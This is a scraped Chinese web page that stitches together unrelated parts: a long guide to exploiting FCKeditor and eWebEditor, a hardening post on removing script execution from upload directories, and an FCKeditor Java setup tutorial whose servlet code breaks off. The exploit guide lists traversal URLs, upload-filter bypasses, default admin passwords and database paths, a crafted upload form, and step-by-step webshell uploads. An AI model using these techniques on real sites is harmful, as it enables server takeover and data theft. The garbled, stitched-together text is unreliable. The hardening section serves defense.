我用标签遍历是什么意思多个fck:editor复文本编辑但是fck:标签中的id属性不支持el

fckeditor上传漏洞利用总结
FCKeditor &
FCKeditor编辑器页/查看编辑器版本/查看文件上传路径 &
FCKeditor编辑器页 &
FCKeditor/_samples/default.html & 查看编辑器版本
FCKeditor/_whatsnew.html
查看文件上传路径
&fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
XML页面中第二行 “url=/xxx”的部分就是默认基准上传路径
Note:[Hell1]截至日最新版本为FCKeditor v2.6.6
[Hell2]记得修改其中两处asp为FCKeditor实际使用的脚本语言 &
FCKeditor被动限制策略所导致的过滤不严问题 &
影响版本: FCKeditor x.x &= FCKeditor v2.4.3
脆弱描述: &
v2.4.3中File类别默认拒绝上传类型:html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
Fckeditor 2.0 &= 2.2允许上传asa、cer、php2、php4、inc、pwml、pht后缀的文件
上传后 它保存的文件直接用的$sFilePath = $sServerDir .
$sFileName,而没有使用$sExtension为后缀
&直接导致在win下在上传文件后面加个.来突破[未测试]
&而在apache下,因为"Apache文件名解析缺陷漏洞"也可以利用之,详见"附录A"
另建议其他上传漏洞中定义TYPE变量时使用File类别来上传文件,根据FCKeditor的代码,其限制最为狭隘。
攻击利用: &允许其他任何后缀上传 &
利用2003路径解析漏洞上传网马 &
影响版本: 附录B &
脆弱描述: &
利用2003系统路径解析漏洞的原理,创建类似“bin.asp”如此一般的目录,再在此目录中上传文件即可被脚本解释器以相应脚本权限执行。
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp
FCKeditor PHP上传任意文件漏洞
影响版本: FCKeditor 2.2 &= FCKeditor 2.4.2
脆弱描述: &
FCKeditor在处理文件上传时存在输入验证错误,远程攻击可以利用此漏洞上传任意文件。
在通过editor/filemanager/upload/php/upload.php上传文件时攻击者可以通过为Type参数定义无效的值导致上传任意脚本。
成功攻击要求config.php配置文件中启用文件上传,而默认是禁用的。
攻击利用: (请修改action字段为指定网址): &FCKeditor 《=2.4.2
for php.html &Note:如想尝试v2.2版漏洞,则修改Type=任意值
即可,但注意,如果换回使用Media则必须大写首字母M,否则LINUX下,FCKeditor会对文件目录进行文件名校验,不会上传成功的。
TYPE自定义变量任意上传文件漏洞 &&
影响版本: 较早版本 &
脆弱描述: &
通过自定义Type变量的参数,可以创建或上传文件到指定的目录中去,且没有上传文件格式的限制。
/FCKeditor/editor/filemanager/browser/default/browser.html?Type=all&Connector=connectors/asp/connector.asp
打开这个地址就可以上传任何类型的文件了,Shell上传到的默认位置是:
&/UserFiles/all/1.asp
&"Type=all"
这个变量是自定义的,在这里创建了all这个目录,而且新的目录没有上传文件格式的限制.
&/FCKeditor/editor/filemanager/browser/default/browser.html?Type=../&Connector=connectors/asp/connector.asp
网马就可以传到网站的根目录下. &Note:如找不到默认上传文件夹可检查此文件:
fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor 新闻组件遍历目录漏洞 &
影响版本:aspx版FCKeditor,其余版本未测试 &
脆弱描述:如何获得webshell请参考上文“TYPE自定义变量任意上传文件漏洞”
攻击利用:修改CurrentFolder参数使用 ../../来进入不同的目录
&/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=aspx.asp
根据返回的XML信息可以查看网站所有的目录。 &
/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor中webshell的其他上传方式 &
影响版本:非优化/精简版本的FCKeditor &
脆弱描述: &
如果存在以下文件,打开后即可上传文件。 &
攻击利用: &
fckeditor/editor/filemanager/upload/test.html
fckeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor 文件上传“.”变“_”下划线的绕过方法 &
影响版本: FCKeditor =& 2.4.x &
脆弱描述: &
我们上传的文件例如:shell.php.rar或shell..jpg会变为shell_.jpg这是新版FCK的变化。
攻击利用: &提交1.php+空格 就可以绕过去所有的,
&※不过空格只支持win系统 *nix是不支持的[1.php和1.php+空格是2个不同的文件]
Note:upload/778.jpg
这样的格式做了过滤。也就是IIS6解析漏洞。 &
上传第一次。被过滤为123_123.jpg 从而无法运行。 &
但是第2次上传同名文件123.123.jpg后。由于”123_123.jpg”已经存在。
文件名被命名为123.123(1).jpg …… 123.123(2).jpg这样的编号方式。
所以。IIS6的漏洞继续执行了。 & &
如果通过上面的步骤进行测试没有成功,可能有以下几方面的原因: &
1.FCKeditor没有开启文件上传功能,这项功能在安装FCKeditor时默认是关闭的。如果想上传文件,FCKeditor会给出错误提示。
2.网站采用了精简版的FCKeditor,精简版的FCKeditor很多功能丢失,包括文件上传功能。
3.FCKeditor的这个漏洞已经被修复。eWebEditor
&eWebEditor利用基础知识
&默认后台地址:/ewebeditor/admin_login.asp
&建议最好检测下admin_style.asp文件是否可以直接访问
默认数据库路径:
[PATH]/db/ewebeditor.mdb & &
[PATH]/db/db.mdb & &
某些CMS里是这个数据库 &也可尝试 &
[PATH]/db/#ewebeditor.mdb -- 某些管理员自作聪明的小伎俩
使用默认密码:admin/admin888 或 admin/admin 进入后台,也可尝试 admin/123456
(有些管理员以及一些CMS,就是这么设置的) &&
点击“样式管理”--可以选择新增样式,或者修改一个非系统样式,将其中图片控件所允许的上传类型后面加上|asp、|asa、|aaspsp或|cer,只要是服务器允许执行的脚本类型即可,点击“提交”并设置工具栏--将“插入图片”控件添加上。而后--预览此样式,点击插入图片,上传WEBSHELL,在“代码”模式中查看上传文件的路径。
2、当数据库被管理员修改为asp、asa后缀的时候,可以插一句话木马服务端进入数据库,然后一句话木马客户端连接拿下webshell
3、上传后无法执行?目录没权限?帅锅你回去样式管理看你编辑过的那个样式,里面可以自定义上传路径的!!!
4、设置好了上传类型,依然上传不了麽?估计是文件代码被改了,可以尝试设定“远程类型”依照6.0版本拿SHELL的方法来做(详情见下文↓),能够设定自动保存远程文件的类型。
5、不能添加工具栏,但设定好了某样式中的文件类型,怎么办?↓这么办! &
(请修改action字段) &Action.html &
&eWebEditor踩脚印式入侵 &
脆弱描述:
&当我们下载数据库后查询不到密码MD5的明文时,可以去看看webeditor_style(14)这个样式表,看看是否有前辈入侵过
或许已经赋予了某控件上传脚本的能力,构造地址来上传我们自己的shell
攻击利用: &
比如 & ID=46 &
& s-name =standard1 &构造 代码:
& ewebeditor.asp?id=content&style=standard
ID和和样式名改过后 & &
ewebeditor.asp?id=46&style=standard1
eWebEditor遍历目录漏洞 &
脆弱描述: &ewebeditor/admin_uploadfile.asp
&admin/upload.asp &过滤不严,造成遍历目录漏洞
攻击利用: &
第一种:ewebeditor/admin_uploadfile.asp?id=14
&在id=14后面添加&dir=.. &再加
&dir=../..
&&dir=/../.. 看到整个网站文件了
第二种: ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir
eWebEditor 5.2 列目录漏洞 &
脆弱描述: &ewebeditor/asp/browse.asp
&过滤不严,造成遍历目录漏洞 &
攻击利用:
&/ewebeditor/asp/browse.asp?style=standard650&dir=…././/..
利用WebEditor session欺骗漏洞,进入后台 &
脆弱描述: &漏洞文件:Admin_Private.asp
&只判断了session,没有判断cookies和路径的验证问题。
攻击利用: &新建一个test.asp内容如下:
以上网友发言只代表其个人观点,不代表新浪网的观点或立场。fck编辑器漏洞想到的--目录的执行权限 - pyman - 博客园
结合近来我遇到的问题,转一篇关于目录的执行权限问题。来解决fck编辑器的漏洞。漏洞就是给人家上传了文件,而且还遍历目录或者直接执行文件,,非常大大的危险。
解决方法如下。
1,首先要删除fckeditor下含test的html文件。
2,对于文件的上传,我们可以关闭FCK的上传功能。关闭是在各个连接器的config文件中,比如asp连接器,editor/filemanager/browser/default/connectors/asp/config.asp,将config.asp中的ConfigIsEnabled的值设置为False。各个连接都需要关闭! 当然最好的办法是删除filemanager这个文件夹,彻底解决FCK的上传,不过这样FCK也就无法上传了
3,如果想使用FCK上传,那么就得修改相应的config文件。限制各个动态文件的上传,重命名文件。
4,如果你有服务器权限,那么取消FCK上传目录的&脚本&权限,虽上传,但是已无法运行。
以下是转的,写的很好,要谢谢他们的经验。
网站安全中,对目录的执行权限是非常敏感的,一般来说,可以写入的目录是不能够拥有脚本的执行权限的,像DedeCMS系统,可写入的有两个目录data、uploads,data目录主要是基本配置文件和缓存数据,uploads则是附件上传保存的目录,本篇将针对不同服务器环境来介绍如何取消这两个目录的执行权限,当然我们也建议用户其他一些生成纯静态html的目录,拥有可写入权限的也统统去除执行权限,这样系统会更为安全。
Windows下的IIS
打开IIS中站点,在站点uploads目录、data目录以及静态html生成目录点击右键,菜单中选择&属性&,在目录属性面板选择执行权限为&无&即可。(如图1)
IIS7也类似于IIS6.0,选择站点对应的目录,data、uploads及静态html文件目录,双击功能试图面板中的&处理程序映射&(如图2)
在&编辑功能权限&&&中,我们直接去除脚本的执行权限即可。(如图3)
Apache下目录脚本的执行权限设置
独立主机配置
在Apache中,没有Windows 下IIS的图形管理界面,我们需要手工修改下apache的配置文件,来进行目录脚本的执行权限的设定。 首先我们找到apache的配置文件httpd.conf,通常情况下,该配置文件在apache安装目录下的conf文件夹中(如图4)。
打开httpd.conf文件,找到内容中如图5的位置:
将需要限制执行脚本文件的目录配置添加到下方:
配置内容为:
&Directory "DIR"& &&&
&FilesMatch ".(php|asp|jsp)$"& &&&&
&&&&Deny from all &&&
&/FilesMatch&
&/Directory&
&配置内容中的DIR为需要限制执行脚本文件的目录,FilesMatch后的内容为需要限定的执行的脚本后缀名。例如:这里需要禁止测试站点uploads文件夹下的PHP,ASP,JSP脚本的运行,则进行如下图6配置:
在配置完成后,重启一下apache,配置便生效! 在操作前,uploads文件夹下我新建了一个index.php文件,图7为未作配置前访问情况
图8为重启apache后访问该页面的效果。
虚拟主机/空间配置
在配置前需要确认你的空间是否支持.htaccess和rewrite,该方法基于.htaccess文件中使用rewrite来达到禁止指定脚本的运行效果。 规则内容如下:
RewriteEngine on &RewriteCond % !^$ &
RewriteRule uploads/(.*).(php)$ & [F] &
RewriteRule data/(.*).(php)$ & [F] &
RewriteRule templets/(.*).(php)$ & [F]
针对uploads,data,templets 三个目录做了执行php脚本限制; 将如上内容存储至到.hatccess文件中,将该文件存放到你的站点根目录下,
这样,目录脚本的执行权限就控制好了,规则上传前后的效果同图7,图8。
Blog Stats
随笔 - 147
Trackbacks - 114517人阅读
网络安全(12)
&&查看编辑器版本
FCKeditor/_whatsnew.html
—————————————————————————————————————————————————————————————
2. Version 2.2 版本
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
—————————————————————————————————————————————————————————————
3.Version &=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
&form id=&frmUpload& enctype=&multipart/form-data&
action=&/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media& method=&post&&Upload a new file:&br&
&input type=&file& name=&NewFile& size=&50&&&br&
&input id=&btnUpload& type=&submit& value=&Upload&&
—————————————————————————————————————————————————————————————
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
& & & & 很多时候上传的文件例如:shell.php.rar 或shell..jpg 会变为shell_.jpg 这是新版FCK 的变化。
& & 4.1:提交shell.php+空格绕过
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
& & 4.2:继续上传同名文件可变为shell.(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
—————————————————————————————————————————————————————————————
5. 突破建立文件夹
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=4
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
—————————————————————————————————————————————————————————————
6. FCKeditor 中test 文件的上传地址
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
—————————————————————————————————————————————————————————————
7.常用上传地址
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
—————————————————————————————————————————————————————————————
8.其他上传地址
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
一般很多站点都已删除_samples 目录,可以试试。
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
—————————————————————————————————————————————————————————————
9.列目录漏洞也可助找上传地址
Version 2.4.1 测试通过
修改CurrentFolder 参数使用 ../../来进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
根据返回的XML 信息可以查看网站所有的目录。
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
也可以直接浏览盘符:
JSP 版本:
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
—————————————————————————————————————————————————————————————
10.爆路径漏洞
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
—————————————————————————————————————————————————————————————
11. FCKeditor 被动限制策略所导致的过滤不严问题
& & & & 影响版本: FCKeditor x.x &= FCKeditor v2.4.3
脆弱描述:
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
Fckeditor 2.0 &= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
& & & & 而在apache 下,因为&Apache 文件名解析缺陷漏洞&也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
& & & & 在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx..jpg!
—————————————————————————————————————————————————————————————
12.最古老的漏洞,Type文件没有限制!
& & & & 我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!&
—————————————————————————————————————————————————————————————
===============================================================================================================================================
FCK编辑器jsp版本漏洞:
/fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=%2F
上传马所在目录
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
上传shell的地址:
/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector
跟版本有关系.并不是百分百成功. 测试成功几个站.
不能通杀.很遗憾.
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
如果以上地址不行可以试试
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
FCKeditor/_samples/
FCKeditor/_samples/default.html
FCKeditor/editor/fckeditor.htm
FCKeditor/editor/fckdialog.html
参考知识库
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
访问:487491次
积分:4954
积分:4954
排名:第3703名
原创:119篇
转载:21篇
评论:85条
(2)(1)(1)(1)(1)(1)(1)(1)(1)(7)(6)(3)(1)(6)(2)(3)(9)(1)(6)(12)(7)(24)(2)(6)(19)(2)(1)(7)(5)(1)(1)7928人阅读
FCKeditor简介:&&&&&&&&&&&&& FCKeditor是一个专门使用在网页上属于开放源代码的所见即所得文字编辑器。它志于轻量化,不需要太复杂的安装步骤即可使用。它可和PHP、JavaScript、ASP、ASP.NET、ColdFusion、Java、以及ABAP等不同的编程语言相结合。&FCKeditor&名称中的&FCK& 是这个编辑器的作者的名字Frederico Caldeira Knabben的缩写。FCKeditor 相容于绝大部分的网页浏览器.如果要将fckeditor跑起来,首先需要jar包,还有FCKeditor_2.6.4.1.zip,这些大家都可以到官方网站上下载,这里的需要的jar包我给大家列出来:&& commons-fileupload-1.2.1.jar&& commons-io-1.3.2.jar&& fckeditor-java-core-2.4.jar&& java-core-2.4.jar&& slf4j-api-1.5.2.jar&& slf4j-simple-1.5.2.jarcsdn上还有资源,大家都可以去下载接下来如何调用fckeditor呢?有两种方式:通过javascript调用和jsp的自定义的标签来使用将解压后的FckEditor_2.6.3放在web 工程的webroot下面&& 然后新建一个html,在其中引入fckeditor文件夹中的fckeditor.js,引入如下:&script type="text/javascript" src="fckeditor/fckeditor.js"&&& 接下来:介绍第一种方法:&&& &script type="text/javascript"&&&&&& var fckeditor=new FCKeditor('FCKeditor1');//新建一个fckeditor实例&&&&& fckeditor.BasePath="/fckeditor/";//设置编辑器的位置,该位置一定要以/结尾,这个basepath是指fckeditor文件夹下所有文件的地址,默认值是这个,但是我们一般前面还要加上工程的名字,如/prj/fckeditor/这样&&&&& fckeditor.Create();//创建并且调用一个fckeditor编辑器&&& &/script&&&& &&& 第二种方法:通过jsp自定义标签来完成调用&&& 可以参考:& @演示工程fckeditor-java-demo-2.4.war :jsp文件夹--》sample02.html& @fckeditor-java-2.4文档&&%@ taglib="&&&FCK:editor instanceName="myEditor" basePath="/fckeditor" value="this is value"&&/FCK:editor&&!--注意这里必须写value值,并且值不能为空字符串--&&注意:basePath以/开头,并且这个/代表当前工程的路径完成上述步骤后,即可通过浏览器访问该html文件了,大家就可以看到一个简单的fckeditor界面了,但是很多东西还是需要自己配置才能使用的
&首先大家可以去官方网站上下载fckeditor-java-demo-2.4.war然后直接丢到tomcat中,即可在浏览器中浏览页面还要下载FCKeditor_2.6.4.1.zip和fckeditor-java-2.4-bin.zip
配置&&使用配置文件&& fckconfig.js即主配置文件,如果我们要修改配置,就需要修改该文件中的属性,一般我们可以直接修改该配置文件,不过我们不采取这样的做法,一般我们是新建一个配置文件myconfig。js来覆盖默认的配置文件&& 比如,我们新建了一个myconfig.js然后在里面写上FCKConfig.AutoDetectLanguage=FCKConfig.DefaultLanguage='fr'将原本配置文件中的自动发现语言改为false,并指定默认的语言为法语 fr& 那么当我们写完配置文件后,如果应用呢?有两种方法:
& 1)在原本的配置文件中fckconfig.js中的 FCKConfig.CustomConfigurationPath=''改为FCKConfig.CustomConfigurationPath='/fck/myconfig.js'&&&& 注意:这种方法会修改所有的关于fckeditor页面的属性& 2)在页面中来制定。在调用fck的 代码中添加如下语句:fckeditor.Config["CustomConfigurationsPath"]="/test/myconfig.js";&&&& 注意:这种方法只会修改所在页面的fckeditor的属性,一般工程发布的时候不确定在哪,所以test应跟换为FCKeditor.EditorPath,它指的是&&&& fckeditor文件夹下的editor文件夹总结一下配置fckeditor:
& 1)直接修改主配置文件,fckconfig.js& 2)定义单独的配置文件(只需要写需要修改的配置项)& 3)在页面的代码中对FCKeditor的实例进行配置配置加载顺序:& 1)加载主配置文件fckconfig.js& 2)加载自定义的配置文件(如果有),覆盖相同的配置项(注意是相同的)& 3)使用对实例的配置覆盖相同的配置项(只对当前实例有效)注意事项:&& 1.永远都不要删除主配置文件:fckconfig.js&& 2.系统会自动侦测并运行适当的界面语言(默认,可以修改)&& 3.修改配置后要清空浏览器缓存,以免影响结果(或访问时强制刷新也可以)
一般需要修改的配置1)自定义ToolbarSet,去掉一些功能2)加上几种常用的字体3)修改&回车&和&shift+回车&的换行行为:原本fck的回车键的效果是换段落,而shift+回车的效果是换行,所以我们要将这两种效果颠倒一下4)修改编辑区样式文件5)更换表情图片
关于设置ToolbarSet:首先在fckconfig.js找到FCKConfig.ToolbarSets[]中括号中可以指定toolbar的名字,比如mytoolbar,然后在调用fck的页面设置一下toolbarset为mytoolbar即fckeditor.ToolbarSet="mytoolbar",这样就可以了
关于加上几种字体:只需要FCKConfig.FontNames中添加我们想添加的字体,注意它会提示不让保存,则设置myconfig.js文件properties的resources选项中的text file encoding ,只能设置为utf-8
关于修改回车换行换段:FCKConfig.ShiftEnterMode = 'p' ;&// p | div | brFCKConfig.EnterMode = 'br' ;&&// p | div | br改成这样,原本是将两行互相调换的
关于编辑区样式文件:在主配置文件fckconfig.js文件中,找到FCKConfig.EditorAreaCSS = FCKConfig.BasePath + 'css/fck_editorarea.css' ;我们会发现所有的样式都是在editor文件夹下的css文件夹下的fck_editorarea.css文件中的,
关于添加自定义表情:FCKConfig.SmileyPath&= FCKConfig.BasePath + 'images/smiley/msn/' ;//表示表情图片所在文件夹FCKConfig.SmileyImages&= ['regular_smile.gif','sad_smile.gif','wink_smile.gif','teeth_smile.gif','confused_smile.gif','tounge_smile.gif','embaressed_smile.gif','omg_smile.gif','whatchutalkingabout_smile.gif','angry_smile.gif','angel_smile.gif','shades_smile.gif','devil_smile.gif','cry_smile.gif','lightbulb.gif','thumbs_down.gif','thumbs_up.gif','heart.gif','broken_heart.gif','kiss.gif','envelope.gif'] ;//文件夹中的每幅图片,其内容是个数组FCKConfig.SmileyColumns = 8 ;//表示每列显示的表情图片数FCKConfig.SmileyWindowWidth= 320 ;//表示弹出的对话框的宽度FCKConfig.SmileyWindowHeight= 210 ;//表示弹出的对话框的高度
如果我们想将自己的一副图片加入到表情中,则首先将图片copy到文件夹中,然后再数组中加入该图片的名字,即可& 也可以将自己的一个图片文件夹作为表情图片文件夹,则需要指定SmileyPath为我们自己的图片文件夹,然后将文件夹中每个图片名称罗列在数组中这时我们可能遇到,如果图片太多,则会显示的很长很长,即使我们设置了SmileyWindowWidth和SmileyWindowHeight也没有用,这时我们右击,查看其源文件,应该是这个html,然后我们找到打开,window.onload事件中dialog.SetAutoSize(true) ;我们将它改为false,这样就会按照我们指定的宽高来显示了,可是会少了很多图片表情,所以我们还要在&body style="overflow: hidden"&这里,将hidden改为scroll,如果图片过多在指定的宽高无法显示,则会自动添加滚动条
最后提示、:FCKConfig.BasePath和调用fckeditor时指定的BasePath(FCKeditor BathPath)不是同一个,其值也不一样
文件上传:这是很常用的我们可以参照D:/JAVA/FCKeditor/fckeditor-java-2.4-bin/fckeditor-java-2.4/site/connector.html,该文件,
第一步:Declare the ConnectorServlet in your web.xml& &web-app version="2.4"&&&& &servlet&&&&&& &servlet-name&Connector&/servlet-name&&&&&&&& &servlet-class&&&&&&&&&& net.fckeditor.connector.ConnectorServlet&&&&& &/servlet-class&&&&&& &load-on-startup&1&/load-on-startup&&&& &/servlet&&&& &servlet-mapping&&&&&& &servlet-name&Connector&/servlet-name&&&&&& &url-pattern&&&&&&&& /fckeditor/editor/filemanager/connectors/*&&&&& &/url-pattern&&&& &/servlet-mapping&& &/web-app&配置文件
第二步:在工程的src下新建一个fckeditor.properties文件,文件内容如下:connector.userActionImpl=net.fckeditor.requestcycle.impl.UserActionImpl
这样就可以简单使用上传了
在上传文件名为中文的时候会出现名称会出现乱码,如何解决?首先要知道这个乱码可能是提交的内容是否出现不正确的编码问题,或者是提交至服务器端处理时出现的问题首先我们找到对应的editor-&filemanager-&default-&frmupload.html我们发现它是以utf-8的编码显示的,没有任何问题,接着我们看爱你给哪个文件处理的,就在我们刚配置的web.xml文件中已经指定了net.fckeditor.connector.ConnectorServlet,是这个,这个servlet在referenced libraries下面的fckeditor-java-core。jar包下的net。fckeditor。connector下的servlet,然后我们要attach source,关联上源码,源码是fckeditor-java-2.4-src.zip,完了之后,按ctrl+o,然后看它的dopost方法,在List&FileItem& item=upload.parseRequest(request);这里是需要指定编码的。但这个文件我们修改不了,所以要复制过来,在src下新建一个package,新建同样名称的servlet,然后粘贴,在try之前写上:upload.setHeaderEncoding("utf-8");接着必须要在web.xml文件中修改&&servlet-class&&&&&&&&&& net.fckeditor.connector.ConnectorServlet修改这里,将前面的包名给改了&&/servlet-class&
除此之外,还会在创建中文目录名时出现乱码仍然在ConnectorServlet文件中在doget方法中,找到NewFoldName,然后添上:String tempstr=request.getParameter("NowFoldName");tempstr=new String(temstr.getBytes("iso8859-1"),"utf-8");String newFoldStr=&&(tempstr)
引用中文名称的图片不能正常显示?方法一:修改tomcat连接器的配置:tomcat6.0--&conf--&server.xml--&&Connector executor="tomcatThreadPool"&&&&&&&&&&&&&& port="8080" protocol="HTTP/1.1" &&&&&&&&&&&&&& connectionTimeout="20000" &&&&&&&&&&&&&& redirectPort="8443" 在这个后面增加一个属性:URIEncoding="utf-8"修改完后,需要重新启动tomcat服务器,不过该种方法不推荐使用
方法二:避免使用中文名称的图片,即在对中文名称的图片进行保存时,让其不以中文形式保存,改以uuid编码方式在ConnectorServlet文件中,dopost方法中找到保存文件的地方,pathToSave然后添加如下:filename=UUID.randomUUID().toString()+"."+
以上讲述比较理论,大家可以我已经配置好的ConnectorServlet类,代码如下:&textarea cols=&86& rows=&15& name=&code& class=&java&&
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
import java.util.*;
import java.util.regex.P
import mons.fileupload.*;
import javax.xml.parsers.*;
import org.w3c.dom.*;
import javax.xml.transform.*;
import javax.xml.transform.dom.DOMS
import javax.xml.transform.stream.StreamR
public class ConnectorServlet extends HttpServlet {
private static String baseD
private static boolean debug =
// 允许上传的Image类型的文件类型
private static String allowedT
// 不允许上传的File类型的文件类行
private static String unallowedFileT
* 初始化 servlet.
* Retrieve from the servlet configuration the &baseDir& which is the root
* of the file repository:
* If not specified the value of &/UserFiles/& will be used.
public void init() throws ServletException {
baseDir = getInitParameter(&baseDir&);
debug = (new Boolean(getInitParameter(&debug&))).booleanValue();
// 设置baseDir的默认值
if (baseDir == null)
baseDir = &/UserFiles/&;
String realBaseDir = getServletContext().getRealPath(baseDir);
File baseFile = new File(realBaseDir);
// 建立目录
if (!baseFile.exists()) {
baseFile.mkdir();
// 得到允许上传的Image类型,从web.xml配置
allowedType = &|jpg|gif|jpeg|png|bmp|&;
unallowedFileType = &abc&;
* doGet方法处理(GetFolders, GetFoldersAndFiles, CreateFolder).
* 此servlet接收如下参数
* connector?Command=CommandName&Type=ResourceType&CurrentFolder=FolderPath
* 它最后返回xml
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType(&text/ charset=UTF-8&);
response.setHeader(&Cache-Control&, &no-cache&);
PrintWriter out = response.getWriter();
String commandStr = request.getParameter(&Command&);
// 得到文件类型,Image,File,Flash,Media
String typeStr = request.getParameter(&Type&);
// 得到当前的目录
String currentFolderStr = request.getParameter(&CurrentFolder&);
// 得到当前目录的真实路径
String currentPath = baseDir + typeStr + currentFolderS
String currentDirPath = getServletContext().getRealPath(currentPath);
// 创建当前路径
File currentDir = new File(currentDirPath);
if (!currentDir.exists()) {
currentDir.mkdir();
// 创建返回的xml文件
Document document =
DocumentBuilderFactory factory = DocumentBuilderFactory
.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
document = builder.newDocument();
} catch (ParserConfigurationException pce) {
pce.printStackTrace();
Node root = CreateCommonXml(document, commandStr, typeStr,
currentFolderStr, request.getContextPath() + currentPath);
// 得到用户选择的目录
if (commandStr.equals(&GetFolders&)) {
getFolders(currentDir, root, document);
// 得到用户选择的目录的文件
else if (commandStr.equals(&GetFoldersAndFiles&)) {
getFolders(currentDir, root, document);
getFiles(currentDir, root, document);
// 新建的目录
else if (commandStr.equals(&CreateFolder&)) {
String newFolderStr = request.getParameter(&NewFolderName&);
//上传时,创建文件夹时出现乱码问题的解决方法
newFolderStr=new String(newFolderStr.getBytes(&iso8859-1&),&UTF-8&);
File newFolder = new File(currentDir, newFolderStr);
System.out.println(newFolderStr+&文件夹&);
String retValue = &110&;
// 只能输入英文字符数字或下划线
if (!(Pattern.matches(&//w+&, newFolderStr))) {
retValue = &102&;
// 目录已经存在
else if (newFolder.exists()) {
retValue = &101&;
// 建立新目录
boolean dirCreated = newFolder.mkdir();
if (dirCreated)
retValue = &0&;
retValue = &102&;
} catch (SecurityException sex) {
sex.printStackTrace();
retValue = &103&;
setCreateFolderResponse(retValue, root, document);
document.getDocumentElement().normalize();
TransformerFactory tFactory = TransformerFactory.newInstance();
Transformer transformer = tFactory.newTransformer();
DOMSource source = new DOMSource(document);
StreamResult result = new StreamResult(out);
transformer.transform(source, result);
if (debug) {
StreamResult dbgResult = new StreamResult(System.out);
transformer.transform(source, dbgResult);
} catch (Exception ex) {
ex.printStackTrace();
out.flush();
out.close();
* 处理文件上传
* 此servlet接收如下参数:
* connector?Command=FileUpload&Type=ResourceType&CurrentFolder=FolderPath
